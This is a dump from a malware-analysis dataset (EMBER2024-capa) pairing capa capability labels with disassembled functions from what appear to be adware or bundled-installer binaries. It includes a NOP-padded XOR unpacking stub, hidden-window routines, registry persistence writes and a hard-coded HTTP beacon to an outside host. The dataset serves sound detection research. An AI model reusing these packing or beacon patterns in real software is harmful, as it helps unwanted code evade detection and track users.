joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100860c1
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1009e040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.1007a846
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.1007a846
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x10086138
cmp word [ecx], dx
je 0x10086138
mov eax, dword [0x10093e94]
push edi
dec eax
push eax
push 0x10093d80
call fcn.10086060
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x100861ab
cmp word [eax], dx
je 0x100861ab
mov eax, dword [edi]
test eax, eax
je 0x1008615c
cmp word [eax], dx
je 0x1008615c
lea eax, [ebp - 0x10]
push eax
call fcn.10085a43
jmp 0x10086165
lea eax, [ebp - 0x10]
push eax
call fcn.10085ade
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x100861d5
mov eax, dword [0x10093d7c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x10093a70
call fcn.10086060
add esp, 0xc
test al, al
je 0x100861d5
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x100861a0
cmp word [eax], di
je 0x100861a0
lea eax, [ebp - 0x10]
push eax
call fcn.10085a43
pop ecx
jmp 0x100861d7
lea eax, [ebp - 0x10]
push eax
call fcn.10085ade
jmp 0x1008619d
mov eax, dword [edi]
test eax, eax
je 0x100861c2
cmp word [eax], dx
je 0x100861c2
lea eax, [ebp - 0x10]
push eax
call fcn.100859f8
pop ecx
jmp 0x100861d5
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x100862a0
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.10085ee5
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x100862a0
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x100862a0
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x100862a0
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x1008622d
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.1007cf2e
test ebx, ebx
je 0x1008629b
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.1007cf2e
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100862a0
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100862a0
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.100885e2
add esp, 0x10
xor eax, eax
inc eax
jmp 0x100862a2
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1006c6ec
leave
ret
Function at 0x1008b7d0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1008b7fd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1008b7fd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x51832414
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x480570d2
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401250
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
push 0
push dword [0x42b46c]
mov esi, ecx
push 0
push dword [esi + 4]
lea eax, [esi + 0xc]
push 0x13a
push 0x1f1
push 0
push 0
push 0x40000000
push 0x4258e0
push eax
push 0x10000
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [esi], eax
test eax, eax
jne 0x401295
pop esi
pop ebp
ret 4
push 0
push dword [0x42b46c]
push 0
push eax
push 0x14
push 0x1f7
push 0x3a
push 0
push 0x50000010
push 0x4258e0
push str.Static
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov ecx, esi
call fcn.00401190
mov ecx, esi
call fcn.00401120
mov ecx, esi
call fcn.00401550
push dword [ebp + 8]
push dword [esi]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [esi]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
pop esi
pop ebp
ret 4

Function at 0x401690
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
test edx, edx
je 0x4017f2
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x4017f2
mov eax, dword [ebp + 0x10]
cmp eax, 1
jb 0x4017f2
push esi
xor esi, esi
test eax, eax
je 0x4017e7
dec eax
push ebx
mov bl, byte [ebp + 0xa]
shr eax, 2
inc eax
push edi
lea edi, [ecx + 2]
mov dword [ebp + 0xc], eax
mov dl, byte [edi - 2]
cmp dl, 0x2b
jne 0x4016dc
mov dl, 0x3e
jmp 0x40170a
cmp dl, 0x2f
jne 0x4016e5
mov dl, 0x3f
jmp 0x40170a
cmp dl, 0x39
jg 0x4016ef
add dl, 4
jmp 0x40170a
cmp dl, 0x3d
je 0x401708
cmp dl, 0x5a
jg 0x4016fe
sub dl, 0x41
jmp 0x40170a
cmp dl, 0x7a
jg 0x401708
sub dl, 0x47
jmp 0x40170a
mov dl, 0x40
mov cl, byte [edi - 1]
cmp cl, 0x2b
jne 0x401716
mov cl, 0x3e
jmp 0x401744
cmp cl, 0x2f
jne 0x40171f
mov cl, 0x3f
jmp 0x401744
cmp cl, 0x39
jg 0x401729
add cl, 4
jmp 0x401744
cmp cl, 0x3d
je 0x401742
cmp cl, 0x5a
jg 0x401738
sub cl, 0x41
jmp 0x401744
cmp cl, 0x7a
jg 0x401742
sub cl, 0x47
jmp 0x401744
mov cl, 0x40
mov al, cl
shl dl, 2
shr al, 4
add al, dl
mov edx, dword [ebp + 8]
mov byte [esi + edx], al
inc esi
mov al, byte [edi]
cmp al, 0x3d
je 0x40179d
mov bl, al
cmp bl, 0x2b
jne 0x401766
mov bl, 0x3e
jmp 0x40178f
cmp bl, 0x2f
jne 0x40176f
mov bl, 0x3f
jmp 0x40178f
cmp bl, 0x39
jg 0x401779
add bl, 4
jmp 0x40178f
cmp bl, 0x5a
jg 0x401783
sub bl, 0x41
jmp 0x40178f
cmp bl, 0x7a
jg 0x40178d
sub bl, 0x47
jmp 0x40178f
mov bl, 0x40
mov al, bl
shl cl, 4
shr al, 2
add al, cl
mov byte [esi + edx], al
inc esi
mov al, byte [edi + 1]
cmp al, 0x3d
je 0x4017d9
cmp al, 0x2b
jne 0x4017ac
mov al, 0x3e
jmp 0x4017ce
cmp al, 0x2f
jne 0x4017b4
mov al, 0x3f
jmp 0x4017ce
cmp al, 0x39
jg 0x4017bc
add al, 4
jmp 0x4017ce
cmp al, 0x5a
jg 0x4017c4
sub al, 0x41
jmp 0x4017ce
cmp al, 0x7a
jg 0x4017cc
sub al, 0x47
jmp 0x4017ce
mov al, 0x40
mov cl, bl
shl cl, 6
add cl, al
mov byte [esi + edx], cl
inc esi
add edi, 4
dec dword [ebp + 0xc]
jne 0x4016d0
pop edi
pop ebx
mov byte [esi + edx], 0
mov eax, esi
pop esi
pop ebp
ret 0xc
xor eax, eax
pop ebp
ret 0xc
Function at 0x401d40
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 0xffffffffffffffeb
push dword [edi + 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov ebx, dword [sym.imp.USER32.dll_ShowWindow]
test eax, eax
je 0x401da1
mov ecx, dword [eax + 0x1b4]
mov esi, dword [eax + 0x1b8]
mov eax, dword [eax + 0x1bc]
mov dword [ebp - 4], eax
test ecx, ecx
je 0x401d7f
push 0
push ecx
call ebx
mov eax, dword [ebp - 4]
test eax, eax
je 0x401d88
push 0
push eax
call ebx
test esi, esi
je 0x401da1
push 1
push esi
call dword [sym.imp.USER32.dll_EnableWindow]
push 0x4259f0
push esi
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov eax, dword [edi]
test eax, eax
jne 0x401dbe
mov ecx, edi
call fcn.00401ab0
push 5
mov ecx, edi
call fcn.00401a40
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 5
push eax
call ebx
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401dd0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x429280]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x30
lea eax, [ebp - 0x34]
mov edi, ecx
push 0
push eax
call fcn.00417420
mov eax, dword [0x42b46c]
add esp, 0xc
mov dword [ebp - 0x34], 0x30
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x2c], 0x401c90
push 5
mov dword [ebp - 0x20], eax
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push 0x7f00
lea esi, [edi + 0x10]
mov dword [ebp - 0x14], eax
push 0
mov dword [ebp - 0xc], esi
call dword [sym.imp.USER32.dll_LoadCursorW]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
push 0
push dword [0x42b46c]
push 0
push dword [edi + 4]
push 0x13a
push 0x1f1
push 0
push 0
push 0x40000000
push 0x4258e0
push esi
push 0x10000
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [edi], eax
test eax, eax
jne 0x401e83
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00410c3e
mov esp, ebp
pop ebp
ret
mov ecx, edi
call fcn.00401bc0
mov ecx, edi
call fcn.004018d0
push 0
push dword [edi]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [edi]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
xor ecx, ebp
pop esi
call fcn.00410c3e
mov esp, ebp
pop ebp
ret
Function at 0x402cd0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x429280]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
mov eax, dword [edi + 8]
test eax, eax
je 0x402cfb
push 0x425b38
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov edi, dword [edi + 4]
test edi, edi
je 0x402d2a
mov esi, dword [sym.imp.USER32.dll_SendMessageW]
push 0
push 0
push 0x408
push edi
call esi
inc eax
mov ecx, 0x64
cmp eax, ecx
push 0
cmovg eax, ecx
push eax
push 0x402
push edi
call esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00417420
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x5c
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrRChrIW]
mov ecx, dword [0x42b470]
add eax, 2
mov dword [ebp - 0x218], eax
mov edx, str.SOFTWARE114zhibo
mov eax, str.SOFTWAREHealthyHome
cmp dword [ecx + 0x38], 0
lea ecx, [ebp - 0x210]
push ecx
lea ecx, [ebp - 0x214]
cmove eax, edx
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push eax
push 0x80000002
mov dword [ebp - 0x21c], eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x402dfa
push dword [ebp - 0x218]
call ebx
add eax, eax
push eax
push dword [ebp - 0x218]
push 1
push 0
push str.InstallName
push dword [ebp - 0x214]
call edi
push dword [ebp - 0x214]
call esi
call fcn.00405670
mov dword [ebp - 0x214], eax
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x218]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push dword [ebp - 0x21c]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x402e5f
push dword [ebp - 0x214]
call ebx
add eax, eax
push eax
push dword [ebp - 0x214]
push 1
push 0
push str.InstallPath
push dword [ebp - 0x218]
call edi
push dword [ebp - 0x218]
call esi
call fcn.00405480
mov esi, eax
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push dword [ebp - 0x21c]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x402eba
push esi
call ebx
add eax, eax
push eax
push esi
push 1
push 0
push str.StartMenuPath
push dword [ebp - 0x214]
call edi
push dword [ebp - 0x214]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00410c3e
mov esp, ebp
pop ebp
ret
Function at 0x402ed0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x429280]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x42b470]
mov ecx, str.SOFTWARE114zhibo
push ebx
push esi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, str.SOFTWAREHealthyHome
cmp dword [eax + 0x38], 0
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cmove esi, ecx
cmp dword [eax + 0x40], 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 8], 1
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push esi
push 0x80000002
jne 0x402f34
mov dword [ebp - 8], 0
call edi
test eax, eax
jne 0x402f58
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.Normal_Online
push dword [ebp - 0x10]
call ebx
push dword [ebp - 0x10]
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
mov eax, dword [0x42b470]
mov eax, dword [eax + 0x50]
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push esi
push 0x80000002
call edi
test eax, eax
jne 0x402fa1
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.Install_Plan
push dword [ebp - 0x10]
call ebx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00410c3e
mov esp, ebp
pop ebp
ret
Function at 0x4037d0
Capabilities:
Check if file exists
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x429280]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
push edi
xor eax, eax
mov edi, ecx
push 0x206
push eax
mov word [esp + 0x10], ax
lea eax, [esp + 0x12]
push eax
call fcn.00417420
add esp, 0xc
lea eax, [esp + 8]
push 0
push 0x23
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 8]
push 0x425dc0
push eax
call esi
push 0x425dc4
lea eax, [esp + 0xc]
push eax
call esi
push dword [edi + 8]
push dword [edi + 4]
call fcn.00405670
mov ecx, dword [0x42b47c]
push eax
call fcn.00408820
push dword [edi + 8]
push dword [edi + 4]
call fcn.00405480
mov ecx, dword [0x42b47c]
push eax
call fcn.00408820
push dword [edi + 8]
mov ecx, dword [0x42b47c]
lea eax, [esp + 0xc]
push dword [edi + 4]
push eax
call fcn.00408820
push 0
push ecx
call fcn.00405670
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
add esp, 4
push eax
call esi
push 0
push ecx
call fcn.00405480
add esp, 4
push eax
call esi
lea eax, [esp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4038ba
lea ecx, [esp + 8]
call fcn.00409540
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
call fcn.00410c3e
mov esp, ebp
pop ebp
ret
Function at 0x403d70
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x429280]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 0
push ecx
push 0x403c70
push 0
push 0
mov dword [ecx], 0x404f20
call fcn.00411193
mov esi, eax
add esp, 0x18
mov eax, 0x404f20
test eax, eax
jne 0x403deb
test esi, esi
je 0x403deb
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x403deb
cmp dword [ebp - 8], 0
jne 0x403deb
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00410c3e
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.00410c3e
mov esp, ebp
pop ebp
ret 4
Function at 0x4040e0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x660
mov eax, dword [0x429280]
xor eax, esp
mov dword [esp + 0x65c], eax
push esi
push edi
lea eax, [esp + 8]
mov dword [esp + 8], 0x114
push eax
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [esp + 0xc], 5
jne 0x404292
cmp dword [esp + 0x10], 1
jne 0x404292
xor eax, eax
push 0x206
push eax
mov word [esp + 0x258], ax
lea eax, [esp + 0x25a]
push eax
call fcn.00417420
add esp, 0xc
xor eax, eax
mov word [esp + 0x124], ax
xorps xmm0, xmm0
mov dword [esp + 0x146], eax
mov word [esp + 0x14a], ax
push 0x3a
push eax
mov word [esp + 0x154], ax
lea eax, [esp + 0x156]
push eax
movdqu xmmword [esp + 0x132], xmm0
movdqu xmmword [esp + 0x142], xmm0
call fcn.00417420
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x130]
add esp, 0xc
push str..ysver
push eax
call esi
push 0x425d14
lea eax, [esp + 0x150]
push eax
call esi
push str..ysver
lea eax, [esp + 0x150]
push eax
call esi
call fcn.00405670
push eax
lea eax, [esp + 0x254]
push eax
call esi
lea eax, [esp + 0x14c]
push eax
lea eax, [esp + 0x254]
push eax
call esi
xor eax, eax
push 0x206
push eax
mov word [esp + 0x460], ax
lea eax, [esp + 0x462]
push eax
call fcn.00417420
add esp, 0xc
call fcn.00405670
push eax
lea eax, [esp + 0x45c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push edi
call fcn.00405800
push eax
lea eax, [esp + 0x45c]
push eax
call esi
lea eax, [esp + 0x458]
push eax
lea eax, [esp + 0x150]
push eax
lea eax, [esp + 0x12c]
push eax
call fcn.0040a0b0
push 0
push 0
push 1
push 0
push 0
push 0x10000000
lea eax, [esp + 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x404270
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
lea eax, [esp + 0x254]
push eax
call fcn.00409e00
pop edi
pop esi
mov ecx, dword [esp + 0x65c]
xor ecx, esp
call fcn.00410c3e
mov esp, ebp
pop ebp
ret
xor eax, eax
push 0xc6
push eax
mov word [esp + 0x190], ax
lea eax, [esp + 0x192]
push eax
call fcn.00417420
add esp, 0xc
call fcn.00405670
push eax
lea eax, [esp + 0x18c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x188]
push 0x425d14
push eax
call esi
push str..ysver
lea eax, [esp + 0x18c]
push eax
call esi
push 0
push 0x80
push 2
push 0
push 2
push 0x40000004
lea eax, [esp + 0x1a0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push edi
call fcn.00409a10
mov ecx, dword [esp + 0x664]
pop edi
pop esi
xor ecx, esp
call fcn.00410c3e
mov esp, ebp
pop ebp
ret
Function at 0x404330
Capabilities:
Check if file exists
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x429280]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
push edi
xor eax, eax
mov edi, ecx
push 0x206
push eax
mov word [esp + 0x10], ax
lea eax, [esp + 0x12]
push eax
call fcn.00417420
add esp, 0xc
lea eax, [esp + 8]
push 0
push 0x23
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 8]
push str.114MPlayer_Data_
push eax
call esi
lea eax, [esp + 8]
push eax
push 0x104
push edi
call fcn.004113c0
add esp, 0xc
push str.filecache.ini
push edi
call esi
mov eax, dword [0x42b470]
push edi
add eax, 0xb4
push 0x104
push eax
call fcn.004113c0
add esp, 0xc
push 0
push 0
call fcn.00405670
mov ecx, dword [0x42b47c]
push eax
call fcn.00408820
mov eax, dword [0x42b470]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x4258e0
push dword [eax]
call esi
push 0
push 0
call fcn.00405480
mov ecx, dword [0x42b47c]
push eax
call fcn.00408820
mov eax, dword [0x42b470]
push 0x4258e0
push dword [eax + 4]
call esi
call fcn.00409d60
mov ecx, dword [0x42b47c]
lea eax, [esp + 8]
push 0
push 0
push eax
call fcn.00408820
push 0
push ecx
call fcn.00405670
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
add esp, 4
push eax
call esi
push 0
push ecx
call fcn.00405480
add esp, 4
push eax
call esi
lea eax, [esp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x404464
lea ecx, [esp + 8]
call fcn.00409540
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
call fcn.00410c3e
mov esp, ebp
pop ebp
ret
Function at 0x404740
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x429280]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
test esi, esi
je 0x4047e5
push ebx
push edi
mov edi, dword [sym.imp.WININET.dll_InternetSetOptionW]
lea eax, [ebp - 8]
push 4
push eax
push 2
push esi
mov dword [ebp - 8], 0x2710
call edi
push 4
lea eax, [ebp - 8]
push eax
push 5
push esi
call edi
push 4
lea eax, [ebp - 8]
push eax
push 6
push esi
call edi
push 4
lea eax, [ebp - 8]
push eax
push 7
push esi
call edi
push 4
lea eax, [ebp - 8]
push eax
push 8
push esi
call edi
push 0
push 0x80000000
push 0
push 0
push str.http:__dh.773j.com_index1.php_a1
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
test ebx, ebx
je 0x4047dc
push 4
lea eax, [ebp - 8]
push eax
push 8
push ebx
call edi
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop ebx
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop esi
call fcn.00410c3e
mov esp, ebp
pop ebp
ret

Function at 0x4048f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x429280]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 0
push ecx
push 0x404800
push 0
push 0
call fcn.00411193
mov esi, eax
add esp, 0x18
test esi, esi
je 0x40495a
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x40495a
cmp dword [ebp - 8], 0
jne 0x40495a
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00410c3e
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.00410c3e
mov esp, ebp
pop ebp
ret

Function at 0x404c90
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
push 0
push dword [0x42b46c]
mov esi, ecx
push 0
push dword [esi + 4]
lea eax, [esi + 0x10]
push 0x13a
push 0x1f1
push 0
push 0
push 0x40000000
push 0x4258e0
push eax
push 0x10000
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [esi], eax
test eax, eax
jne 0x404cd5
pop esi
pop ebp
ret 4
push esi
push 0xffffffffffffffeb
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0
push dword [0x42b46c]
push 0
push dword [esi]
push 0x14
push 0x1f7
push 0x3a
push 0
push 0x50000010
push 0x4258e0
push str.Static
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov ecx, esi
call fcn.00404b60
mov ecx, esi
call fcn.00404a90
mov ecx, esi
call fcn.00404c20
push dword [ebp + 8]
push dword [esi]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [esi]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
pop esi
pop ebp
ret 4